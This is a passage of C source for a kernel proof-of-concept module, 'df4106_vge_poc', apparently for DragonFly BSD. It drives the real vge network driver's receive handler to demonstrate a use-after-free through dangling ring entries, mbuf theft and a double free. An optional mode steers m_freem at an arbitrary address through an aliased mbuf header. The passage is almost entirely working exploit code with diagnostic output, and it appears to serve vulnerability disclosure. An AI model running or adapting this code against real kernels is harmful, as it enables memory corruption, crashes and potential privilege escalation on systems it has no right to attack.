	kprintf("df4106: B: dispatch 2 (ring wrap over dangling entries, "
	    "REAL kernel vge_rxeof)\n");
	chains_before = df4106_chains;
	p_vge_rxeof(sc, -1);

	df4106_dump_slots(sc, "B-after-dispatch2");
	for (i = 0; i < 2; i++) {
		if (vic[i] == NULL)
			continue;
		kprintf("df4106: *** B1: %s alloc %d (%p): m_len=%d m_flags="
		    "%#x โ€” the REAL handler wrote through the dangling "
		    "ring entry (%s) ***\n",
		    vic[i] == m0 || vic[i] == m1 ? "RECYCLED" : "unrelated",
		    i, vic[i], vic[i]->m_len, vic[i]->m_flags,
		    vic[i] == m0 || vic[i] == m1 ?
		    "UAF write + object theft" : "untouched");
	}
	if (df4106_chains == chains_before + 1)
		kprintf("df4106: *** B2: a chain containing the freed/stolen "
		    "mbufs was delivered to ifp->if_input (if_vge.c:1395) โ€” "
		    "see the if_input chain printout above ***\n");
	else
		kprintf("df4106: B: unexpected delivered-chain count %u -> %u"
		    "\n", chains_before, df4106_chains);

	/* teardown: ring entries are fresh now โ€” single, legit frees */
	df4106_stop_tail(sc);
	df4106_release_all();
	/*
	 * Owner-side frees of the victims: an owner whose mbuf was stolen
	 * through the dangling ring entry does not know it was already
	 * consumed by the if_input path, and frees it when done โ€” the
	 * second free that turns the theft into pool aliasing.
	 */
	for (i = 0; i < 2; i++)
		if (vic[i] != NULL)
			m_freem(vic[i]);
	dup = df4106_alias_scan("B");
	return (dup ? 0 : 1);
}

static int
df4106_run(void)
{
	struct vge_softc *sc;
	struct ifnet *ifp;
	int rc, a_dup = 0, b_dup = 0;

	if (p_vge_rxeof == NULL || p_vge_newbuf == NULL ||
	    p_vge_dma_map_addr == NULL) {
		kprintf("df4106: kernel addresses not set โ€” use "
		    "kern.df4106.{rxeof,newbuf,mapaddr}\n");
		return (EINVAL);
	}
	kprintf("df4106: dispatching REAL kernel handlers: "
	    "vge_rxeof=%p vge_newbuf=%p vge_dma_map_addr=%p\n",
	    p_vge_rxeof, p_vge_newbuf, p_vge_dma_map_addr);

	df4106_held = kmalloc(DF4106_MAXHELD * sizeof(*df4106_held), M_TEMP,
	    M_WAITOK | M_ZERO);
	df4106_mmio = kmalloc(PAGE_SIZE, M_TEMP, M_WAITOK | M_ZERO);
	df4106_ifdata = kmalloc(64 * sizeof(*df4106_ifdata), M_TEMP,
	    M_WAITOK | M_ZERO);

	sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO);
	ifp = &sc->arpcom.ac_if;

	/* post-ether_ifattach ifnet state that vge_rxeof() touches */
	strlcpy(ifp->if_xname, "dfvge0", sizeof(ifp->if_xname));
	ifp->if_softc = sc;
	ifp->if_serializer = &df4106_ser;
	ifp->if_input = df4106_input;
	ifp->if_data_pcpu = df4106_ifdata;
	ifp->if_capenable = 0;		/* skip the RX csum path */

	/* MMIO BAR stand-in: MEM-space tag + writable kernel page */
	sc->vge_btag = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->vge_bhandle = (bus_space_handle_t)(uintptr_t)df4106_mmio;

	lwkt_serialize_init(&df4106_ser);

	kprintf("df4106: === Phase 0: fabricate post-attach softc "
	    "(vge_dma_alloc replay + MMIO stand-in) ===\n");
	rc = df4106_dma_alloc(sc);
	if (rc) {
		kprintf("df4106: dma setup failed: %d\n", rc);
		goto out_free;
	}

	lwkt_serialize_enter(&df4106_ser);	/* as vge_intr would */

	a_dup = df4106_scenario_a(sc);
	b_dup = df4106_scenario_b(sc);

	if (df4106_panic && df4106_alias != NULL) {
		kprintf("df4106: === PANIC phase: steer owner B's free through "
		    "owner A's header ===\n");
		/*
		 * The double free left ONE mbuf reachable from two owners.
		 * A write through owner A's mbuf header (stand-in for any
		 * attacker influence over the twin object โ€” e.g. the other
		 * owner's data path rewriting the header from packet
		 * content) aims owner B's completely normal m_freem() at an
		 * arbitrary address.
		 */
		kprintf("df4106: aliased mbuf %p: owner A sets m_next := "
		    "%#lx; owner B calls m_freem()\n", df4106_alias,
		    DF4106_MAGIC_VICTIM);
		df4106_alias->m_next = (struct mbuf *)DF4106_MAGIC_VICTIM;
		m_freem(df4106_alias);
		kprintf("df4106: survived the steered m_freem?!\n");
	} else if (df4106_panic) {
		kprintf("df4106: PANIC mode: no aliased pair survived the "
		    "scans โ€” cannot steer\n");
	}

	lwkt_serialize_exit(&df4106_ser);
	df4106_dma_free(sc);
	kfree(sc, M_TEMP);
	kfree(df4106_held, M_TEMP);
	kfree(df4106_mmio, M_TEMP);
	kfree(df4106_ifdata, M_TEMP);
	if (a_dup == 0 && b_dup == 0)
		kprintf("df4106: SURVIVED โ€” double-reference, double-queued "
		    "chain, double free, dangling-entry UAF/theft all "
		    "demonstrated above\n");
	else
		kprintf("df4106: SURVIVED (note: alias scan incomplete โ€” "
		    "see markers above)\n");
	df4106_ran = 1;
	return (0);

out_free:
	if (sc->vge_ldata.vge_rx_list != NULL || sc->vge_ldata.vge_mtag != NULL)
		df4106_dma_free(sc);
	kfree(sc, M_TEMP);
	kfree(df4106_held, M_TEMP);
	kfree(df4106_mmio, M_TEMP);
	kfree(df4106_ifdata, M_TEMP);
	return (rc ? rc : ENXIO);
}

static int
df4106_sysctl_go(SYSCTL_HANDLER_ARGS)
{
	int error, go = 0;

	error = sysctl_handle_int(oidp, &go, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (go != 1 || df4106_ran)
		return (EPERM);
	error = df4106_run();
	return (error);
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, go,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4106_sysctl_go, "I",
    "run the DF-4106 scenarios (needs rxeof/newbuf/mapaddr set)");

static int
df4106_sysctl_panic(SYSCTL_HANDLER_ARGS)
{
	int error, v = df4106_panic;

	error = sysctl_handle_int(oidp, &v, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	df4106_panic = v;
	return (0);
}
SYSCTL_PROC(_kern_df4106, OID_AUTO, panic,
    CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df4106_sysctl_panic, "I",
    "1 = steer the aliased object into an m_freem chase at the end");

static int
df4106_modevent(module_t mod, int type, void *arg)
{
	switch (type) {
	case MOD_LOAD:
		return (0);
	case MOD_UNLOAD:
		return (df4106_ran ? 0 : 0);
	default:
		return (0);
	}
}

static moduledata_t df4106_mod = { "df4106_vge_poc", df4106_modevent, NULL };
DECLARE_MODULE(df4106_vge_poc, df4106_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);